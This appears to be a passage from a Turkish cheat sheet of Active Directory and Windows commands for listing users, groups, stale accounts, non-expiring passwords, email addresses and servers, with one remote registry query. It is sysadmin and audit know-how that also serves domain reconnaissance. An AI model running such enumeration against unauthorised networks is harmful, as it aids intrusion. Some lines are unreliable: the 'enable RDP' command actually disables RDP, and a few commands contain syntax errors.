          Get-WmiObject -Class Win32_NetworkLoginProfile | Sort-Object -Property LastLogon -Descending | Select-Object -Property * -First 1 | Where-Object {$_.LastLogon -match "(\d{14})"} | Foreach-Object { New-Object PSObject -Property @{ Name=$_.Name;LastLogon=[datetime]::ParseExact($matches[0], "yyyyMMddHHmmss", $null)}}
Not: Girdi olarak verilen liste (DomainComputersGrubundakiBilgisayarlar_Listesi.txt), Domain Bilgisayarlarını bulurken elde edilen kayıtların tek tek alt alta yazdırılmasıyla oluşmuştur.

Uzak Masaüstü Protokolünü Etkinleştirme
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f

Audit İlkesi
auditpol /get /category:*

Group İlkesi Arayüzü
rsop.msc

Disable Durumdaki Tüm Kullanıcılar
dsquery user "dc=fener,dc=tubitak,dc=gov,dc=tr" -disabled -limit 0 | dsget user -samid > disableduser.txt

Parolası Sona Ermeyecek Olan Tüm Kullanıcılar
Get-ADUser -Filter 'PasswordNeverExpires -eq $true' -Server localDC | select name

Domaindeki Kullanıcının Ofis, Görev vs Bilgileri
dsquery user -samid FENER\alex | dsget user -office -desc -display > AlexBilgileri.txt

NonExpired Durumdaki Tüm Kullanıcılar
dsquery * domainroot -limit 800 -filter "(&(objectClass=user) (userAccountControl>=65536))" -attr sAMAccountName userPrincipalName userAccountControl -d fener.tubitak.gov.tr
dsquery * domainroot -filter “(&(objectcategory=person)(objectclass=user)(lockoutTime=*))” -limit 0

Kullanıcıya ait oturumdaki ilk biletlerin saklandığı yerlerin kaydı
reg query "\\192.168.170.62\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit

Domaindeki gruplar ve üyeleri
dsquery group -limit 0 | dsget group -members –expand

Domaindeki Windows 2008 Sunucularının Listesi
Get-ADComputer -Filter {OperatingSystem -Like "Windows Server*2008*"} -Property * | Format-Table Name,OperatingSystem,OperatingSystemServicePack -Wrap -Auto

Domaindeki kullanıcıları oturum açma vakitlerine göre listeleme
Get-ADUser -Filter * -Properties "LastLogonDate" | sort-object -property lastlogondate -descending | Format-Table -property name, lastlogondate -AutoSize

90 gündür oturum açmamış olan kullanıcıları listeleme
Search-ADAccount -UsersOnly -AccountInactive -TimeSpan 90 | ?{$_.enabled -eq $True} | where {$ _.ObjectClass -eq 'user'} | Get-ADUser -Properties EmailAddress, DisplayName, Name, sn, lastlogondate, passwordlastset | Select EmailAddress, Name, lastlogondate, passwordlastset

Kullanıcısı olmayan grupların listelenmesi
Get-ADGroup -Filter {GroupCategory -eq 'Security'} | ?{@(Get-ADGroupMember $_).Length -eq 0}

6 aydır hesabı aktif olmayan kullanıcıları listeleme
$sixMonths = (Get-Date).AddMonths(-6)
Search-ADAccount -accountinactive -usersonly -datetime "$sixMonths"

4 haftadır aktif olmayan kullanıcıları disable etme
dsquery user "dc=pearson,dc=itcertification,dc=com" -inactive 4 | dsmod user -disabled yes

60 gündür parolasını değiştirmeyen kullanıcılar
dsquery user "dc=pearson,dc=itcertification,dc=com" -stalepwd 60 > stale.txt

Parolası sona ermeyen kullanıcılar
Get-ADUser -Filter 'PasswordNeverExpires -eq $true' -Server localDC | select name
Search-ADAccount -PasswordNeverExpires | FT Name,ObjectClass -A
Get-ADUser -filter {(Description -notlike "Service*") -and (Enabled -eq "True") -and (PasswordNeverExpires -eq "True")} -properties *) | select samaccountname,description

Domain Kullanıcıların mail adresleri
dsquery user -name "user name"|dsget user -samid -email -display
get-mailbox | fl name, emailaddresses
Get-QADUser -SizeLimit 0 -Enabled -Email * | Select-Object DisplayName,Email


İlişkili Sayfalar
http://technet.microsoft.com/en-us/library/cc722416(v=ws.10).aspx
http://www.robvanderwoude.com/ntadmincommands.php
http://ckerekes.com/dsquery.shtml
http://ss64.com/nt/dsquery-user.html
http://www.netspi.com/blog/2012/07/09/5-ways-to-find-systems-running-domain-admin-processes/
http://social.technet.microsoft.com/Forums/en-US/winserverpowershell/thread/eaff2f69-d17b-4235-9f8a-9f42840cac56/